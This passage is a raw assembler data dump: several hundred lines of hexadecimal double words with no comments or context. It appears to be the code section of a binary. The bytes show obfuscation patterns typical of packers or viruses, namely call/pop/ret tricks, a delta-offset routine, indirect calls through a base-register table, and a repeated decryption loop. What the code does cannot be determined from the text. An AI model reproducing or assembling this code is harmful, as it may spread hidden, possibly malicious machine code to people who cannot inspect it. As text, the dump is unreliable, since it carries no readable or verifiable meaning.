		dd 1Ch,	32C35545h, 0FC377709h, 27687332h, 1659BD89h, 0B5FF0607h
		dd 60AB372h, 2B799D8Bh,	95FF0607h, 6072605h, 830FF98Bh
		dd 6, 29B19D8Bh, 0B5FF0607h, 60AB372h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 41C35242h, 95FFFB59h, 6071DF1h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 2DC35545h
		dd 8AF9A08Fh, 3B1BD83h,	0F020607h, 4A84h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h
		dd 0F31C3436h, 0EA7025E0h, 0BE9h, 0DC37D700h, 0EC218E7Eh
		dd 952C20DEh, 49858BF5h, 0F9060707h, 0F0000C6h,	686h, 3DBD8900h
		dd 0C7060705h, 70F4985h, 6, 1D9D8B00h, 0E906071Fh, 0FFFFF246h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 4AC35747h
		dd 9954358Eh, 572E8969h, 23199589h, 0CB800607h,	60C18BB6h
		dd 0A8B0Fh, 5E90000h, 4000000h,	0A996795h, 810F53h, 59000000h
		dd 19858D61h, 0E806071Fh, 12h, 7BCFFFD5h, 0FD2453BAh, 9A9A1520h
		dd 85007989h, 0D7819935h, 7D8AC1B2h, 6890F5Fh, 0B000000h
		dd 70BA99Dh, 0E8509006h, 13h, 154C0C86h, 9139036Eh, 47C250B9h
		dd 18B5A0FBh, 0BF3B5268h, 769A2DB1h, 6A905Fh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 23BAEBC3h
		dd 6A006AB1h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 661AC355h, 0C3E8F781h,	6ADE8B66h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 0D8FB03Fh, 29F1A3ACh, 705CD9Dh, 0BF858D06h
		dd 89060BDFh, 717059Dh,	5C08306h, 30899589h, 66900607h
		dd 0BB50F98Bh, 7D733315h, 0E5952990h, 0BF060703h, 242B15FBh
		dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 0FC175C3h, 0F1963367h, 6AD675h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0FDC35242h, 0FE9h
		dd 3571D800h, 795140EDh, 97E0B5F8h, 6220F408h, 1BCD95FFh
		dd 0BB660607h, 8D8D4632h, 60AA5B7h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 87C35646h, 0FAB70FA1h, 7626BB66h
		dd 6AD1FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 5CBF14C3h, 0BD833234h, 6071995h, 5D850F01h
		dd 89000000h, 7002995h,	6A5F5306h, 50006A02h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 32512B1Dh
		dd 50EF4776h, 6EF39BBFh, 24048902h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 0FC35242h, 95FFE368h, 60729FDh
		dd 1F73BF66h, 0DE3E9h, 0E800h, 815D0000h, 0BDFC9EDh, 68E0F06h
		dd 89000000h, 70AF1B5h,	0F1B58906h, 8D06071Fh, 0A910A85h
		dd 0C850F06h, 0F000000h, 68Fh, 0E9850100h, 5006070Bh, 13E9h
		dd 3B0DEC00h, 0FC2648D8h, 9D773F93h, 5763F9BBh,	43DDB4ECh
		dd 52240489h, 35FF645Fh, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 27C35141h
		dd 896449C1h, 25h, 85FFF800h, 6070FA5h,	0FFB70F51h, 0C98D895Fh
		dd 6A060701h, 0C9BB66FFh, 0F1B5FF71h, 6A06071Ch, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 3525C350h, 0E2816660h, 0BF668A6Fh, 0E861FD45h, 0Dh
		dd 6E2EEE88h, 928774C6h, 1AB67F7h, 2880F33h, 51000000h
		dd 95FF5F5Fh, 6073035h,	10AE9h,	6890F00h, 8B000000h, 717159Dh
		dd 0E800B006h, 0Ch, 0FF9A6890h,	0D134913Ah, 81E7A637h
		dd 4AB6BB66h, 0B70E65Fh, 717BD9Dh, 8971E406h, 71575BDh
		dd 0F613C06h, 0CE83h, 0DE8B6600h, 0BBC8B60Fh, 52AD4749h
		dd 6BAh, 0D9BD0900h, 8B060712h,	0B5BD8BC1h, 0F060703h
		dd 8Bh,	4E8C100h, 693AC781h, 0F7662DB2h, 89BD8BE2h, 8B060730h
		dd 71F0D9Dh, 0E8C82B06h, 7, 3788A776h, 6069BF87h, 415BD8Bh
		dd 5B530607h, 0D18B5B61h, 0F5B3D780h, 6EE9h, 0DBB70F00h
		dd 4C44858Bh, 95895F4Ch, 60717E1h, 8907C083h, 710A18Dh
		dd 0C08306h, 285D25BBh,	0FD03B2Eh, 0C83h, 19958900h, 0E9060732h
		dd 3Bh,	0FF8D8BF9h, 80FFFFFFh, 0E183E1D7h, 28840F01h, 3000000h
		dd 705499Dh, 0FFA58306h, 0FEFFFFFFh, 1CEB8166h,	8C12BB16h
		dd 95892D05h, 5F4C4C44h, 0B8D9589h, 0E90607h, 8D000000h
		dd 0B5FF2B5h, 4BF6606h,	6A006AA2h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 6053C350h
		dd 75489DB2h, 0E58D31D7h, 0FF060729h, 7320195h,	3870F06h
		dd 0F000000h, 0C6B9F8BFh, 6A00000Fh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0ED9C356h
		dd 66EDE114h, 0E9DA4EBBh, 10h, 0C60ADFDh, 4F11766h, 43ECF464h
		dd 88E8058Ch, 6AFCE183h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 2A8FC353h, 23BF15E7h
		dd 0FC36BC61h, 0A5BD8BFCh, 2B060715h, 52006AC0h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
		dd 69237207h, 0F5385CA3h, 858B6008h, 6071809h, 2BE58D8Bh
		dd 0F9610607h, 0BB66D22Bh, 33AD8DB1h, 3E8D1C2h,	4E983D0h
		dd 13E9F475h, 0AB000000h, 0C1EE25DEh, 0D7E8DA52h, 0C27A19E9h
		dd 624E4659h, 9D0B878Ah, 6072B25h, 880Dh, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
		dd 919D8B5Dh, 0E9060704h, 0Eh, 0B601E485h, 3E9505B3h, 2568312Dh
		dd 85290588h, 6072611h,	1B41958Bh, 6A0607h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 180424h, 51410000h, 6C1243C3h
		dd 8D8B1DD7h, 6070605h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 15h, 0CCC35545h, 68D0F48h,	8B000000h, 700E59Dh
		dd 0C28B5006h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 0F4AC355h, 8166DABFh, 6AAE0AC7h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 3028C352h, 0BC0CD60Ch, 0BFD0E3AEh, 22CD9D09h, 0BD830607h
		dd 6070BD1h, 8A840F00h,	6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0A494C351h
		dd 0F098FB9Fh, 0FC8D7CE9h, 10E9h, 0ED1F5D00h, 27FD5592h
		dd 569B5028h, 0E71C6802h, 0B8F98BE7h, 0
		dd 8D8B6056h, 6070C41h,	8D8D5B61h, 6074DB4h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 50C35545h, 0FFDEB70Fh
		dd 13E9E1h, 12440000h, 0F1923137h, 0DEE6C739h, 1BCE30FAh
		dd 0C3C74CF6h, 69BD832Eh, 60700h, 3C5840Fh, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 0D68356C3h, 7BFBE029h, 0CE828B3h, 59000000h,	39FAD101h
		dd 8F680B3Ah, 600F6DB5h, 79D8D89h, 95890607h, 607239Dh
		dd 0BD835F61h, 6070069h, 8F840F01h, 0F000003h, 684h, 0B19D8B00h
		dd 83060732h, 70069BDh,	860F0306h, 340h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 15h, 0E0C35343h, 9E9ABh
		dd 0BB750000h, 64BC2251h, 60B8592Ch, 0DE953h, 37AE0000h
		dd 44A154DDh, 0D287342Fh, 5F6E785Eh, 31D98C66h,	70C598Dh
		dd 4E18006h, 19B1B529h,	0C90A0607h, 0FE840Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 3881ECC3h, 8D9E48A0h, 306D858Bh, 0BB660607h,	85338E46h
		dd 6073305h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 19h,	0DDC35242h, 0CCC44E90h,	0ADD7817Fh, 0F049FE3h
		dd 0E850F8BFh, 10h, 62BD21A1h, 0DA249A97h, 0AA7CD00Ah
		dd 44AE5785h, 0C57BBF66h, 2404895Fh, 26F5BD8Bh,	6A0607h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0F4C35646h
		dd 34891F19h, 1A112A49h, 0C4A768AFh, 4819105h, 193F5824h
		dd 0B70F606Fh, 0B18D8BDBh, 61060721h, 1B9195FFh, 95310607h
		dd 6073071h, 0B3728589h, 8166060Ah, 0E9879DEBh,	196h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 65C35747h, 6688BB06h
		dd 4188F381h, 0B36A858Bh, 6A060Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 8B1954C3h, 72FB99Dh
		dd 1800C706h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 0C19DC356h,	94BC32E7h
		dd 0B36EB58Bh, 0A0BB060Ah, 8B39920Ch, 7157985h,	51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 460AE877h, 0BD8B60B9h, 6070B9Dh, 0A98D89h, 89610607h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 895B9030h, 6D858BD8h, 66060730h,	8548CB81h
		dd 66044689h, 9641B7BBh, 0E8505250h, 13h, 53517A4Eh, 6A05A685h
		dd 87D6691Ch, 0BAFA8814h, 5BF06D3Ch, 8A310F5Fh,	50585ADDh
		dd 96D98B66h, 0BDE8B66h, 709759Dh, 6AB5FF06h, 6A060AB3h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 621BC350h, 0F63F595h, 182h, 4A68FC00h, 50C869A0h
		dd 0FB8B6652h, 0BF66310Fh, 585A3EA4h, 0B5240481h, 8937B563h
		dd 71B79BDh, 72858D06h,	89060AB3h, 71DCDBDh, 0AE95006h
		dd 0E9000000h, 6B60E27Fh, 9059D4D3h, 2404898Ah,	9A77E3BBh
		dd 9195FF73h, 0F06071Bh, 18Bh, 6A61FC00h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0F4A8C350h
		dd 0D8603980h, 0C7240DF7h, 0BB99D8Bh, 85090607h, 60707E1h
		dd 6985C7h, 30607h, 0BD830000h,	60AB372h, 2D840F00h, 33000000h
		dd 708019Dh, 3DE906h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 0C8437C3h, 0FC95B8CAh
		dd 110C3050h, 1114400h,	3010E8C1h, 21144h, 5803114Ch, 7504E983h
		dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
		dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
		dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 291BC356h, 6AFEB70Fh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 0D844C350h
		dd 8387A78Bh, 70069BDh,	850F0306h, 4A4h, 1575BD23h, 0BD830607h
		dd 60AB372h, 91840F00h,	6A000004h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 60FDC355h
		dd 0E988A2BCh, 11h, 0B76EE00h, 544F9084h, 0C97265EBh, 28BFC079h
		dd 72B5FFD8h, 29060AB3h, 7224595h, 4595FF06h, 6A060715h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 0C340C357h, 0F81CBF66h, 0B366B58Bh, 8D89060Ah
		dd 607076Dh, 2211BD01h,	6C70607h, 10001h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 1Dh, 14C35646h, 567C7C82h
		dd 0DD41726Dh, 0FE8500Eh, 62000000h, 0D42B8AFEh, 0F11EC2B1h
		dd 21D5874Dh, 890F0929h, 17h, 12E9h, 21538D00h,	0E4B4753Fh
		dd 9BB32C96h, 0A4BAD2EBh, 5B5FF4B5h, 51243489h,	0CE9h
		dd 0F7120400h, 3254D8E7h, 0D222D73Bh, 0B5FF5B6Bh, 60AB372h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0ABC35242h
		dd 0F38F768Ah, 8166BBE5h, 8BCA08D7h, 73205BDh, 1195FF06h
		dd 8B060709h, 66B58BFEh, 6A060AB3h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 1107C355h
		dd 858BD8CDh, 6072CC9h,	14840Fh, 0FE90000h, 61000000h
		dd 9EC500B9h, 0CD8426E0h, 74D0F20Dh, 8689EC39h,	0C4h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 8CC35141h, 0CE23C96Ch
		dd 10E87B04h, 0EC000000h, 0FFDAE3D8h, 63A4687Ah, 4B84D490h
		dd 5097C5ABh, 5BFBB70Fh, 0E381665Bh, 958BC9E0h,	6071B41h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 62C35242h
		dd 0AB070137h, 0F86E0861h, 35BD8BD0h, 83060705h, 6A04C2h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 42E643C3h, 778FBABFh, 1F6D8D89h, 50890607h, 52006A20h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 0FB828D52h, 0FEFBF5Dh, 0D98B6625h, 0C7ED858Dh, 6A060Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 6B5652C3h, 1F769AB9h, 89063E4Ch, 0B886h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 6573C5BFh, 18CDD10Ah, 9EBB9AD0h, 0BB158AFEh,	6A08C602h
		dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 4C7CF2C3h, 4AB34D65h, 72B5FF57h, 0BF060AB3h
		dd 4DB7E2E4h, 29FD95FFh, 0BF0F0607h, 0F5796FFh,	0E84h
		dd 8E800h, 3FCF0000h, 70FEA8D3h, 5F5BC32Dh, 2549BF50h
		dd 0E9965283h, 0Eh, 0A6357056h,	338FB6F5h, 0D5D5233Eh
		dd 0B5FF9BB7h, 60AB372h, 8F5BD89h, 880F0607h, 2, 95FFF98Bh
		dd 6071AA5h, 0ADBD83F8h, 60708h, 34840Fh, 8B660000h, 0BDB396FAh
		dd 96FE8A50h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Ah,	2C35545h, 7C34D644h, 9EB76C2Eh,	20D59D23h, 0B5FF0607h
		dd 60AB372h, 95FFFA8Bh,	6072605h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 18C35747h, 4C256463h, 0B70FFDDCh
		dd 72B5FFFEh, 89060AB3h, 701B19Dh, 0F195FF06h, 6A06071Dh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 0BA78C357h, 0A5C05FB2h, 29E78AC2h, 70691B5h
		dd 0B1BD8306h, 2060703h, 7C840Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0E079A9C3h
		dd 0FAAB2A2Bh, 8BF8BF0Fh, 7074985h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 1AAF7307h
		dd 0BD03D9DDh, 607235Dh, 0C6DF8Bh, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 1B81213Dh
		dd 0E7FDBF83h, 85C71919h, 6070F49h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 23C35747h
		dd 34A4DBA6h, 89D6DF7Ah, 712759Dh, 0FB8B6606h, 0FFF2FAE9h
		dd 56006AFFh, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 0E238914h, 8A6B9EFEh, 6AC18BDDh,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 0A055C355h, 8BB3644Fh, 0ABA1BB66h, 1F19858Dh, 8B500607h
		dd 240489DEh, 6860Fh, 9D2B0000h, 6072C71h, 5B56006Ah, 6A006Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 0E06A11C3h, 0CCD8EF32h, 9D8B3BB3h, 60705C9h,	0B030D0BFh
		dd 6858D41h, 89060BEFh,	7299195h, 5C08306h, 5000B390h
		dd 42E6BB66h, 11E990h, 0C4BF0000h, 0AF8C0D6Fh, 78BF10BDh
		dd 43272ED9h, 6AC93E99h, 618D3100h, 8B060704h, 709A19Dh
		dd 31006A06h, 72BC195h,	0CD95FF06h, 5006071Bh, 1A58501h
		dd 8D5B0607h, 0AA5B78Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 7A8D5A8Eh, 0D1FFFE8Bh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0C1C35646h
		dd 0BBC16901h, 0E963EACDh, 0Fh,	514C297h, 2B7CDFA0h, 0AB7B0E76h
		dd 83421C55h, 71995BDh,	850F0106h, 53h,	0AE9h, 4B7DDB00h
		dd 0AC8374E2h, 6A31A5B9h, 6830F02h, 29000000h, 717FD8Dh
		dd 0BEB35006h, 0FF240489h, 729FD95h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 6F14BCB2h
		dd 43DB639Dh, 41BF642Dh, 0E95CD021h, 0D60h, 0E8h, 0ED815D00h
		dd 60BEF10h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	0DAC35141h, 0BE9h, 1DC5C900h, 793F7520h, 2BF2B6AEh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0C7C35040h
		dd 0E9D43AE8h, 0Fh, 0D590CAF4h,	0F3A47804h, 4C5D76E8h
		dd 8DC714F4h, 0A910A85h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 2F600648h, 66FBB850h
		dd 59FFF781h, 14E9h, 0D6806B00h, 37716A58h, 424733C6h
		dd 0A863FC16h, 70E30EEEh, 0BF665018h, 489D47Ch,	51006A24h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 8E91436h, 0FF641B66h, 35h, 0AD9D8B00h, 64060725h, 2589h
		dd 9D8B0000h, 60719DDh,	0FA585FFh, 0B70F0607h, 8BFF6ADEh
		dd 1DBD89DFh, 0FF06071Fh, 72311B5h, 0C7816606h,	95FFFA4Bh
		dd 6073035h, 11DE9h, 0B0F98A00h, 0A5B58900h, 0E606072Bh
		dd 9D8BFC70h, 6073031h,	3CF571E4h, 0FF830F61h, 0F000000h
		dd 389h, 0D88B6600h, 0E9C8B60Fh, 12h, 2D44AFFDh, 0C2AF0B4Fh
		dd 0FA7384BCh, 84D51073h, 6BA8E2Ah, 31000000h, 7292D95h
		dd 1C18B06h, 72D75BDh, 4E8C106h, 13E9h,	110B0900h, 0F1949409h
		dd 4F8326Bh, 72300E7Dh,	10548626h, 0BFE2F766h, 1C0A7664h
		dd 8D89C82Bh, 6071CF9h,	0AE8h, 0B17AAE00h, 5681188h, 8B1411BCh
		dd 733619Dh, 0D18B5B06h, 2F78FEBBh, 7CE96Dh, 8C0F0000h
		dd 6, 2181BD8Bh, 858B0607h, 47554C50h, 5E8h, 6A882400h
		dd 835BB6C1h, 0BD0107C0h, 6072CD5h, 8900C083h, 702499Dh
		dd 0FD03B06h, 1183h, 5DBD8B00h,	0E9060730h, 3Ah, 30A59D8Bh
		dd 8D8B0607h, 0FFFFFFFFh, 2446BF66h, 0F01E183h,	2184h
		dd 399D8B00h, 8906071Eh, 7177DB5h, 0FFA58306h, 0FEFFFFFFh
		dd 4C509589h, 0BF0F4755h, 0E9DBh, 0B58D0000h, 60B6FB8h
		dd 0EED4E2BBh, 0FF006A6Dh, 7320195h, 0E8EF8006h, 0EBAB9h
		dd 59B5BF00h, 0E183241Bh, 0C02BFCFCh, 1879BD8Bh, 0D22B0607h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0BDC35343h
		dd 6E9CEh, 0E5680000h, 3EBC7C42h, 0D0816660h, 43B51557h
		dd 0C233AD61h, 0D003E8D1h, 7504E983h, 51006AF4h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
		dd 0AD77CFABh, 0F4D40022h, 9E9h, 5BFDE100h, 8433DD64h
		dd 12E82478h, 0D5000000h, 0D3BD588Fh, 7BA58BA6h, 0D2A77098h
		dd 380F4C3Eh, 0CB8166AEh, 0D5F34FBh, 88h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 15h, 0DCC35141h, 0D88B6666h
		dd 1B41958Bh, 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 24EA54C3h, 0D9BD2957h, 5B060701h
		dd 8BDBB70Fh, 706058Dh,	50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 4F4F9137h, 0C28B509Dh
		dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 3358188Bh, 72C699Dh
		dd 0DAB70F06h, 0BD1BD83h, 0F000607h, 5584h, 459D8B00h
		dd 8B060729h, 7106DBDh,	0B806h,	9E90000h, 99000000h, 0E58CA359h
		dd 698F4CBEh, 4DB48D8Dh, 0BD8B0607h, 6072129h, 6AE1FFh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0D2F13DC3h, 73C9BB57h, 665B5EA4h, 0BD83D98Bh, 6070069h
		dd 18840F00h, 83000004h, 70069BDh, 840F0106h, 426h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 85C35242h, 69BD83h
		dd 0F030607h, 3C786h, 0DE800h, 24E90000h, 0F744A9A3h, 0EEAE6159h
		dd 29AAEF74h, 71C6195h,	66605F06h, 37E0DB81h, 60D98C66h
		dd 1DCD8D89h, 61F90607h, 5204E180h, 7E1BD89h, 0E95B0607h
		dd 11h,	780AF2EFh, 0A72B5B7Ah, 39391B67h, 0F3F9ABBFh, 0FC90AAFh
		dd 13484h, 97BB6600h, 518D89FBh, 8B060702h, 7306D85h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 0CA804F7Ch, 33058533h, 95890607h, 60719EDh, 0E9525050h
		dd 0Bh,	6E7338FAh, 700EB31h, 0F4341A0h,	5AF88A31h, 24048958h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 1FC35747h
		dd 6AE3B7C5h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1804h, 0C3514100h, 9CCF4ABBh, 24BF66CFh, 0D2B668F6h
		dd 8F0F0224h, 2, 3481DE8Ah, 3BD14924h, 53006A02h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
		dd 0B550C2BBh, 0FFCCACC8h, 71B9195h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 0B0140F78h
		dd 0ABF4D8Ah, 8958B70Eh, 0AB37285h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 5484D38h, 8BE6FA5Ch
		dd 71CA59Dh, 1D0E906h, 0BF0F0000h, 6A858BDFh, 6A060AB3h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 0C722C352h, 1800h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 17820FFFh
		dd 0E9000000h, 12h, 0CCCB986Ch,	49C9654h, 10D554A1h, 812647C7h
		dd 0B58BF4B2h, 60AB36Eh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 37C35545h, 4A696895h
		dd 26ADBD0Bh, 858B0607h, 6071579h, 858961B7h, 6071739h
		dd 6A0689h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 7C3F52C3h, 9FBB0B8Bh, 858B6748h, 607306Dh
		dd 6A044689h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 0F2E9C350h, 0C4120BB4h, 599D8B10h
		dd 96060718h, 50F98B66h, 88B0Fh, 890F0000h, 2, 1965B50h
		dd 707418Dh, 6AB5FF06h,	89060AB3h, 723558Dh, 9F8C6806h
		dd 8B6650B0h, 243481FEh, 50AF9C73h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 58C35242h, 0E7D22686h, 305DBD01h
		dd 858D0607h, 60AB372h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 0C35141h, 6B51A2A7h, 64EEBFD2h, 89503065h
		dd 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 0B1BBC0C3h, 0FF23FA8Bh, 71B9195h,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 0BFD3A4D8h, 0A6573C5h, 220D8589h, 6A610607h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 9BBCC352h, 21719D89h, 85C70607h, 6070069h, 3, 18F58D89h
		dd 0BD830607h, 60AB372h, 31840F00h, 89000000h, 715698Dh
		dd 40E9F506h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 76BDC353h, 9589BDD8h
		dd 6070611h, 110C3050h,	1114400h, 3010E8C1h, 21144h, 5803114Ch
		dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h
		dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h
		dd 44300311h, 28580211h, 30011164h, 0E9831104h,	0EBE77504h
		dd 6AC08B00h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 0D32EC357h, 69B58951h,	5B06071Bh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 44C35242h
		dd 0DCD95BBBh, 69BD8337h, 3060700h, 47B850Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 0BD833CC3h, 60AB372h, 52840F00h, 89000004h, 71F1D85h
		dd 72B5FF06h, 0F060AB3h, 283h, 0FF616000h, 7154595h, 0B58BF506h
		dd 60AB366h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	76C35141h, 1DF5BD8Bh, 6C70607h,	10001h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 16C35040h, 8166F532h
		dd 966EAFCBh, 10E857h, 11C00000h, 5B422A50h, 0EC1EF753h
		dd 31C4B9ADh, 13E81661h, 5B000000h, 611F01DFh, 0F8DE134h
		dd 3B7FF8D3h, 0A4797562h, 5F5F47E2h, 8B66505Fh,	236096FAh
		dd 700BD95h, 6870F06h, 3000000h, 716C9BDh, 0B5FF6106h
		dd 60AB372h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Dh,	0F8C35646h, 66DDE9C3h, 38B9486h, 6DBD2304h, 0FF06072Bh
		dd 7091195h, 50006A06h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 19787F3Fh, 6E8FBB1Bh, 0B58B2155h
		dd 60AB366h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
